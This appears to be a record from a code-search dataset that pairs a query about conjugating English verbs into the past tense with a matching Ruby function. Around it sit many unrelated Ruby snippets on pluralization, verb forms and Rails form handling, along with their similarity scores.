or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def termsig(*) end", "def process_form(formdata: {}, wunderbar: {})\n statement = formdata['statement']\n\n _h3 'Copy of statement to put in an email (if necessary)'\n _pre statement\n\n _hr\n\n _h3 'Transcript of update to nomination file'\n uid = formdata['availid']\n entry = ASF::MemberFiles.make_member_nomination({\n availid: uid,\n nomby: $USER,\n secby: formdata['secby'],\n statement: statement\n })\n\n environ = Struct.new(:user, :password).new($USER, $PASSWORD)\n ASF::MemberFiles.update_member_nominees(environ, wunderbar, [entry], \"+= #{uid}\")\n return true\nend", "def dynamic_phrase_4\r\n\r\n # Verse 1: **no more bottles**\r\n if one_bottle?\r\n \"no more bottles\"\r\n # Verse 0: **99 bottles**\r\n elsif zero_bottles?\r\n \"99 #{bottle_s}\"\r\n else\r\n # Verse 2: **bottle**\r\n # Verse x: **x bottles**\r\n @bottle_quantity -= 1\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => [:schedule]).upcase : '' )\n v\n end", "def pbSeenForm(poke,gender=0,form=0)\n $Trainer.formseen = [] if !$Trainer.formseen\n $Trainer.formlastseen = [] if !$Trainer.formlastseen\n if poke.is_a?(String) || poke.is_a?(Symbol)\n poke = getID(PBSpecies,poke)\n end\n if poke.is_a?(PokeBattle_Pokemon)\n gender = poke.gender\n form = (poke.form rescue 0)\n species = poke.species\n else\n species = poke\n end\n return if !species || species<=0\n gender = 0 if gender>1\n formname = pbGetMessage(MessageTypes::FormNames,pbGetFSpeciesFromForm(species,form))\n form = 0 if !formname || formname==\"\"\n $Trainer.formseen[species] = [[],[]] if !$Trainer.formseen[species]\n $Trainer.formseen[species][gender][form] = true\n $Trainer.formlastseen[species] = [] if !$Trainer.formlastseen[species]\n $Trainer.formlastseen[species] = [gender,form] if $Trainer.formlastseen[species]==[]\nend", "def pluralizer (num, noun)\n return \"#{num} #{noun}\" if num == 1\n return \"#{num} geese\" if noun == \"goose\"\n return \"#{num} sheep\" if noun == \"sheep\"\n return \"#{num} #{noun}s\"\nend", "def pluralizer (noun, num)\n if num > 1 && noun.include?('goose')\n puts \"#{num}, geese\"\n elsif num > 1\n puts \"#{num}, #{noun}s\"\n else\n puts \"#{num}, #{noun}\"\n end\nend", "def message\n verb\n end", "def mood_params\n #params.fetch(:mood, {})\n params.require(:mood).permit(:feeling)\n end", "def multiguess(forms,type,tags,gender=nil)\n # 0) trivial cases\n type = Rlp::Grammar::FlexemeType.for_tag(type.to_sym)\n if type.paradigms.size == 1 && type.paradigms.first.suffixes.size == 1\n return forms.map{|f| [type.paradigms.to_a,[f],tags]}\n end\n # 1) guess without tags\n paradigms = Rlp::Grammar::Paradigm.guess(forms,type.to_sym)\n unless paradigms.empty?\n disambiguated = disambiguate(paradigms,gender)\n if disambiguated.size == 1\n return [[disambiguated,forms,tags]]\n end\n end\n # 2) guess with tags\n paradigms = Rlp::Grammar::Paradigm.guess(forms,type.to_sym,\n :tags => tags)\n unless paradigms.empty?\n return [[disambiguate(paradigms,gender),forms,tags]]\n end\n # build 'inflection postion' -> 'forms' map\n position_to_forms = {}\n forms.zip(tags).each do |form,form_tags|\n form_tags.uniq.each do |current_tags|\n position_to_forms[current_tags] ||= []\n position_to_forms[current_tags] << form\n end\n end\n # There are no ambiguous position -> form mappings,\n # the paradigm is unknown.\n unless position_to_forms.values.any?{|fs| fs.size > 1}\n return [[[],forms,tags]]\n end\n #position_to_forms.values.each{|fs| ambiguity[fs.size] += 1}\n position_to_forms = position_to_forms.sort_by{|t,fs| fs.size}\n # in most cases there are only two competing flexemes\n if position_to_forms.last[1].size == 2\n # 3) split the forms heuristically into two flexemes\n # by taking the last to forms and looking for the\n # longest common substring\n ambig_flexemes = position_to_forms.last[1].\n map{|f| [[position_to_forms.last[0]],[f]]}\n position_to_forms[0..-2].each do |position,position_forms|\n if position_forms.size == 2\n map = {}\n 2.times.map do |flexeme_index|\n position_forms.each.with_index do |form,form_index|\n d_index = ambig_flexemes[flexeme_index][1].first.chars.to_a.\n zip(form.chars.to_a).each.with_index do |c1_c2,c_index|\n break c_index if c1_c2[0] != c1_c2[1]\n end\n unless d_index.is_a?(Fixnum)\n d_index = ambig_flexemes[flexeme_index][1].first.size\n end\n map[[flexeme_index,form_index]] = d_index - form.size\n end\n end\n map = map.sort_by{|k,v| -v}\n # assign the best match (e.g. [1,0])...\n best_indices = map[0][0]\n ambig_flexemes[best_indices[0]][0] << position\n ambig_flexemes[best_indices[0]][1] << position_forms[best_indices[1]]\n # and the complementary match (e.g. [0,1])\n map[1..-1].each do |indices,value|\n if indices[0] != best_indices[0] && indices[1] != best_indices[1]\n ambig_flexemes[indices[0]][0] << position\n ambig_flexemes[indices[0]][1] << position_forms[indices[1]]\n break\n end\n end\n else\n 2.times{|i| ambig_flexemes[i][0] << position;\n ambig_flexemes[i][1] << position_forms[0]}\n end\n end\n # re-create mappings 'form' -> 'positions', e.g.\n # transform the array\n ambig_flexemes.map! do |positions_and_forms|\n f_positions, f_forms = positions_and_forms\n map = {}\n f_positions.zip(f_forms).each do |position,form|\n map[form] ||= []\n map[form] << position\n end\n [map.keys,map.values]\n end\n paradigms = ambig_flexemes.map do |forms_and_positions|\n f_forms, f_positions = forms_and_positions\n self.guess(f_forms,type.to_sym,:tags => f_positions)\n end\n if paradigms.all?{|ps| !ps.empty?}\n return ambig_flexemes.zip(paradigms).\n map do |forms_and_positions,f_paradigms|\n f_forms, f_positions = forms_and_positions\n [disambiguate(f_paradigms,gender),f_forms,f_positions]\n end\n end\n end\n # 4) visit all mappings\n # # TODO\n #matched_sets = []\n #visit_mappings(position_to_forms,type,matched_sets)\n #unless matched_sets.empty?\n # pp matched_sets.map{|e| [e[0].code,e[1]]}\n #end\n return [[[],forms,tags]]\n end", "def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n else \"#{num} #{noun}\"\n end\nend", "def pluralize(word); end", "def form\n end", "def verbs\n pos 'VERB'\n end", "def formation _args\n \"formation _args;\" \n end", "def update_mechanism\n\t\ttextos = params[:newTexts]\n\t\tif textos.nil?\n\t\t\ttextos = []\n\t\tend\n\n\t\tindex = params[:idResp].to_i\n\t\t# ES: Asigna el tipo de responsabilidad según el index:\n\t\t# EN: Assign the responsibility type according the index:\n\t\trespType = ''\n\t\tcase index\n\t\twhen 1\n\t\t\trespType = DELEG_RESP_1\n\t\twhen 2\n\t\t\trespType = DELEG_RESP_2\n\t\twhen 3\n\t\t\trespType = DELEG_RESP_3\n\t\twhen 4\n\t\t\trespType = DELEG_RESP_4\n\t\twhen 5\n\t\t\trespType = DELEG_RESP_5\n\t\tend\n \n # ES: Busca el detalle:\n # EN: Search the detail:\n\t\tdetail = MapDetail.where(\"decision_map_id = ? AND governance_decision_id = ? AND responsability_type = ?\", params[:idMap].to_i, params[:idDec].to_i, respType).first\n\t\ttxtActual = ''\n\n\t\tif detail.nil? # ES: Si no existia, lo crea: - EN: If not exist, create it:\n\t\t\tdetail = MapDetail.new\n\t \tdetail.governance_decision_id = params[:idDec].to_i\n\t \tdetail.decision_map_id = params[:idMap].to_i\n\t \tdetail.responsability_type = respType\n\t\tend\n\n # ES: Genera el nuevo texto y lo asigna\n # EN: Generates the new text and assign it\n\t\ttextos.each do |t|\n\t\t\tif txtActual == ''\n\t\t\t\ttxtActual+= t\n\t\t\telse\n\t\t\t\ttxtActual+= '|' + t\n\t\t\tend\n\t\tend\n\n\t\t# ES: La respuesta serán los mecanismos actuales:\n\t\t# EN: The answer will be the current mechanisms:\n\t\tmechsActuales = []\n\n\t\tif txtActual == ''\n\t\t\t# ES: Debe borrarlo, porque no va a tener nada\n\t\t\t# EN: Need to delete it, because will be empty\n\t\t\tMapDetail.delete(detail)\n\t\t\t# ES: Guarda el detalle:\n\t\t\t# EN: Save the detail:\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json => mechsActuales}\n\t \tend\n\t\telse\n\t\t\tdetail.complementary_mechanisms = txtActual\n\t\t\t# ES: Guarda el detalle:\n\t\t\t# EN: Save th detail:\n\t\t\trespond_to do |format|\n\t \tif detail.save # OK\n\t \t\t# ES: Obtiene los mecanismos actuales y los envia:\n\t \t\t# EN: Get the current mechanisms and send them:\n\t \t\tidMechs = txtActual.split(\"|\")\n\t \t\tmechsActuales = ComplementaryMechanism.where(id: idMechs)\n\t \t\tformat.json {render :json => mechsActuales}\n\t \telse # ERROR\n\t \t\t\tformat.json {render :json => nil}\n\t \t\tend\n\t \tend\n\t\tend\n\tend", "def form_statements(form, solution:, &block)\n # uses the graph_name of the formula, and yields statements from the formula\n log_depth do\n form.each(solutions: RDF::Query::Solutions(solution)) do |stmt|\n stmt.graph_name ||= form.graph_name\n log_debug(\"(form statements add)\") {stmt.to_sxp}\n block.call(stmt)\n end\n end\n\n form.graph_name\n end", "def madlib\n\tputs \"It's time for MadLibs!\"\n\tputs \"Adjective?\"\n\tadj1 = gets.chomp\n\tputs \"Name?\"\n\tname1 = gets.chomp\n\tputs \"Another adjective?\"\n\tadj2 = gets.chomp\n\tputs \"Body part?\"\n\tbody = gets.chomp\n\tputs \"Noun?\"\n\tnoun = gets.chomp\n\tputs \"Job?\"\n\tjob1 = gets.chomp\n\tputs \"One more adjective?\"\n\tadj3 = gets.chomp\n\tputs \"Another name?\"\n\tname2 = gets.chomp\n\tputs \"Another job?\"\n\tjob2 = gets.chomp\n\tputs \"Verb ending in -ing?\"\n\tverb = gets.chomp\n\tif verb.end_with?(\"ing\") == false\n\t\tputs \"Try another verb. Make sure it ends with -ing!\"\n\t\tverb = gets.chomp\n\telse\nend\n\n\tputs \"Thank You! Thank you from the bottom of my #{body}. I don't know what to say. I'm speechless.\"\n\tputs \"I truly didn't expect to win this #{noun}, certainly not with so many #{adj1} actors competing in the same category.\"\n\tputs \"First and foremost, my thanks to #{name1}. You couldn't work with a better #{job1}.\"\n\tputs \"And I'm sure I wouldn't be #{verb} here tonight if it weren't for my #{adj2} director.\"\n\tputs \"I must also thank #{name2}, who wrote a #{adj3} script for me.\"\n\tputs \"Of course, none of this would be happening if it weren't for my agent, who convinced the network that I could play a 75 year-old, retired #{job2}.\"\nend", "def pluralizer animal, number\n if number == 1\n puts \"there is #{number} #{animal}\"\n elsif animal == 'child' \n puts \"there are #{number} children\"\n elsif animal == 'person' \n puts \"there are #{number} people\"\n elsif animal == 'goose' \n puts \"there are #{number} geese\"\n elsif number >= 2 || number == 0\n puts \"there are #{number} #{animal}s\"\n else \n puts 'is that a number?'\n end\nend", "def kase_person_verb_type_and_time_in_words(kase, options={})\n \"%{name} %{verb_and_type} %{time}\" % {\n :name => link_to(h(kase.person.username_or_title_and_full_name), person_path(kase.person),\n options[:pcard] ? {:class => \"pcard\", :rel => member_url([@tier, kase.person], :pcard)} : {}),\n :verb_and_type => case kase.kind \n when :problem then \"reported this problem\".t\n when :question then \"asked this question\".t\n when :praise then \"gave praise\".t\n when :idea then \"shared this idea\".t\n else \"posted this case\".t\n end,\n :time => \"%{time} ago\".t % {:time => time_ago_in_words_span_tag(kase.created_at)}\n }\n end", "def dynamic_phrase_3\r\n one_it = 'one'\r\n\r\n # Verse 0: **Go to the store and buy some more**\r\n if zero_bottles?\r\n 'Go to the store and buy some more'\r\n else\r\n # Verse 1: **it**\r\n if one_bottle?\r\n one_it = 'it'\r\n end\r\n # Verse x: **Take one down and pass it around**\r\n \"Take #{one_it} down and pass it around\"\r\n end\r\n end", "def create\n @irregular_verb = IrregularVerb.new(params[:irregular_verb])\n\n respond_to do |format|\n if @irregular_verb.save\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully created.' }\n format.json { render json: @irregular_verb, status: :created, location: @irregular_verb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def all_forms\n\t\t\tretval = []\n\t\t\t[false, true].each do |imperative|\n\t\t\t\tNUMBERS.each do |number|\n\t\t\t\t\tPERSONS.each do |person|\n\t\t\t\t\t\tform = {:person => person, :number => number}\n\t\t\t\t\t\tform[:imperative] = true if imperative\n\t\t\t\t\t\tretval << form\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tretval << {:infinitive =>true }\n\t\t\tretval\n\t\tend", "def initialize(form, opinion)\n @form = form\n @opinion = opinion\n @attached_to = opinion\n end", "def inflection(text, count = nil, inflect: nil)\n if (count == 1) || INFLECT_SINGULAR.include?(inflect)\n text.to_s.singularize\n elsif count.is_a?(Integer) || INFLECT_PLURAL.include?(inflect)\n text.to_s.pluralize\n else\n text.to_s.dup\n end\n end", "def\n \nend\n\n\n# 6. sentence_maker refactored solution", "def update\n sentence = Sentence.find(params[:id])\n authorize sentence\n\n display_type = params[:sentence][:display_type]\n sentence.setup_tokenizer\n form = Sentence::Form.new(sentence)\n\n if form.validate(params[:sentence])\n form.save\n sentence.tokens.delete_all\n\n if display_type == \"tokenize'\"\n sentence.reload\n sentence.setup_tokenizer\n candidate_tokens = get_candidate_tokens(sentence.untokenized) || []\n render js: concept(\"sentence/sentence_cell/tokenize\", sentence,\n current_user: current_user,\n display_type: 'tokenize',\n candidate_tokens: candidate_tokens).(:refresh)\n else\n render js: concept(\"#{model_type}/#{model_type}_cell/#{display_type}\", form.model, current_user: current_user, display_type: display_type).(:refresh)\n end\n else\n render js: concept(\"#{model_type}/#{model_type}_form_cell\", form, current_user: current_user, display_type: display_type).(:show_edit_form)\n end\n end", "def process_form(entry)\n\t\t# set flag variable\n\t\t@@processed = true\n\t\t# check for inclusion of ||\n\t\tif(entry.include?\"||\")\n\t\t\t# get form\n\t\t\t@@form = getForm(entry)\n\t\t\t# split by ||\n\t\t\tins = entry.split(\"||\")\n\t\t\t# get user input\n\t\t\t@@last = ins[1]\n\t\telse\n\t\t\t# change flag\n\t\t\t@@processed = false\n\t\t\t# specify error format\n\t\t\tputs \"You must specify a form in this format: 1||message\"\n\t\tend\n\tend", "def set_form\n form = params[:form_txt] + \"_form\"\n @tab = params[:tab_id]\n form_hash_for_loan_details if !@loan_hash\n update_respond_to_parent(form,@tab,FLASH_MESSAGES['properties']['406'],nil)\n end", "def madlib(words)\n words = { noun: nil, verb: nil, adjective: nil, adverb: nil }\n \n words.each do |key, value|\n print \"=> Choose your #{key}: \"\n words[key] = gets.chomp\n end\n\n puts \"Your #{words[:adjective]} #{words[:noun]} wants to #{words[:adverb]}\" +\n \" #{words[:verb]}. LOL.\"\nend", "def phonetic_params\n params.require(:phonetic).permit(:content, :label, :rhyme, :deleted_at)\n end", "def essay_template(title, author, date, thesis, character, quality, moment, pronoun)\n\tif pronoun == \"male\"\n\t\tpossessive = \"his\"\n\t\tsubject = \"he\"\n\t\tobject = \"him\"\n\telsif pronoun == \"female\"\n\t\tpossessive = \"her\"\n\t\tsubject = \"she\"\n\t\tobject = \"her\"\n\telse\n\t\tpossessive = \"its\"\n\t\tsubject = \"it\"\n\t\tobject = \"it\"\n\tend\n\tcap_title = title.split.map(&:capitalize).join(' ')\n\tlast_name = character.split.last\n\tputs \"Recently, for class, we read #{cap_title}. #{cap_title} was written by #{author.split.map(&:capitalize).join(' ')} and published on #{date}. #{thesis.capitalize}. The quality of the main character, #{author.split.map(&:capitalize).join(' ')}, that I found most endearing was #{possessive} quality of #{quality}. #{last_name.capitalize} had shown a good example of #{possessive} #{quality} when #{subject} #{moment}. I appreciated #{object} and #{possessive} #{quality}.\"\nend", "def meaning_params\n params.require(:meaning).permit(:meaning, :word_id,:parse, :level, :eiken, :toeic)\n end", "def create_form\n code = \"{{message}}\\n\"\n code += \"<form ng-submit='action(#{@doc['name'].downcase})' ng-show='!message'>\\n\"\n @doc['fields'].each{ |field|\n if field['name'] == 'id' then\n code += \"\\t<span ng-show=\\\"location.indexOf('/#{@doc['name'].downcase}/edit') < 0 \\\">\\n\\t\"\n end\n code = code + \"\\t#{field['name'].capitalize}:<br/><input ng-model='#{@doc['name'].downcase}.#{field['name']}' name='#{field['name']}' type='text'/><br/>\\n\"\n \n if field['name'] == 'id' then\n code += \"\\t</span>\\n\"\n end\n }\n code = code + \"<input type='submit' value='Submit'/>\\n\"\n code = code + \"</form>\"\n return code\n end", "def edit_form\n\t\tnewform = \"\"\n\t\titem_text = question_items.first.text #\n\t\tanswer_item = (self.answer_item.nil? or (self.answer_item =~ /\\d+([a-z]+)/).nil?) ? \"\" : \"\\t\" + $1 + \". \"\n\t\tself.question_items.each do |item|\n\t\t\tnewform = if item.position==1\n\t\t\t\tdiv_item( answer_item + item.text, \"itemquestiontext span-9\")\n\t\t\telse\n\t\t\t\tdiv_item( item_text, \"itemquestiontext span-9\")\n\t\t\tend\n\t\tend\n\t\tnewform\n\tend" ]
[ "0.65431726", "0.6514812", "0.64740527", "0.60404783", "0.60404783", "0.60404783", "0.60404783", "0.60404783", "0.5996172", "0.5971938", "0.5857706", "0.57010305", "0.5682585", "0.5652952", "0.5631891", "0.5630172", "0.56241417", "0.5618243", "0.5618243", "0.56077284", "0.5578142", "0.556804", "0.556804", "0.5564451", "0.55525744", "0.5531457", "0.5531063", "0.5530251", "0.5526626", "0.55108356", "0.54990053", "0.547808", "0.5468902", "0.5465286", "0.5432125", "0.5401098", "0.53946185", "0.539059", "0.5361001", "0.5359851", "0.5339851", "0.5339015", "0.5332582", "0.53099114", "0.53006107", "0.5293003", "0.5292502", "0.5266912", "0.5226448", "0.521002", "0.5203027", "0.51974255", "0.5171089", "0.51701176", "0.51698315", "0.5165745", "0.51589674", "0.51484674", "0.5148004", "0.514608", "0.51127", "0.5096367", "0.5090187", "0.50882816", "0.50720894", "0.50681514", "0.50659674", "0.50647664", "0.5059036", "0.5057755", "0.50544405", "0.5052405", "0.5051662", "0.5046916", "0.50450194", "0.5041585", "0.50227356", "0.50212073", "0.50123596", "0.50100076", "0.4989782", "0.49812162", "0.49784708", "0.49748814", "0.49730602", "0.49687985", "0.49665424", "0.49652746", "0.4964938", "0.49631286", "0.49604285", "0.49494952", "0.4946869", "0.4943624", "0.49319923", "0.4926845", "0.49204805", "0.4917678", "0.49145275", "0.48937652" ]
0.59678096
10
Conjugate verb to past with relevent options determining outcome Params: infinitive, the given verb person, the subject of the verb plurality, an option given by the user mood, an option given by the user
def past(infinitive, person, plurality, mood) if (verb = conjugations.irregulars[infinitive]) conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood) else regular_preterite_for infinitive end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def ingverb; end", "def past_participle(infinitive)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, derivative: :participle)\n else\n regular_preterite_for infinitive\n end\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def verb\n verb_path[0] if verb_path\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def verb\r\n self.class.verb\r\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def noun; end", "def noun; end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def get_verbs\n @verbs ||= self.verbs\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def expand(infinitive)\n return nil unless (conjugations = list_by_infinitive[infinitive])\n txt = []\n past_tenses, past_participles = conjugations\n txt << \"#{infinitive} (v)\"\n txt << past_tenses.map { |v| \"#{v} (v past)\"}\n txt << past_participles.map { |v| \"#{v} (v participle)\"}\n txt.flatten.join(\"\\n\") + \"\\n\"\n end", "def message\n verb\n end", "def present_participle(infinitive)\n if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(infinitive.to_sym)\n return present_participle_with_doubled_terminal_consonant_for infinitive\n end\n\n case infinitive.to_s\n when /c$/\n \"#{infinitive}k\"\n when /(^be|ye|oe|nge|ee)$/\n infinitive.to_s\n when /ie$/\n infinitive.to_s.gsub(/ie$/, 'y')\n when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/\n infinitive.to_s[0..-2]\n else # rubocop:disable Lint/DuplicateBranch\n infinitive.to_s\n end.dup.concat('ing').to_sym\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def genderToObjectivePronoun(gender)\n if gender == nil\n return '(unknown gender)'\n end #TODO: Raise exception if unknown detected\n\n if gender == :male || gender.downcase == 'male'\n return 'him'\n else\n return 'her'\n end\n #TODO: Raise exception if unknown detected\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n 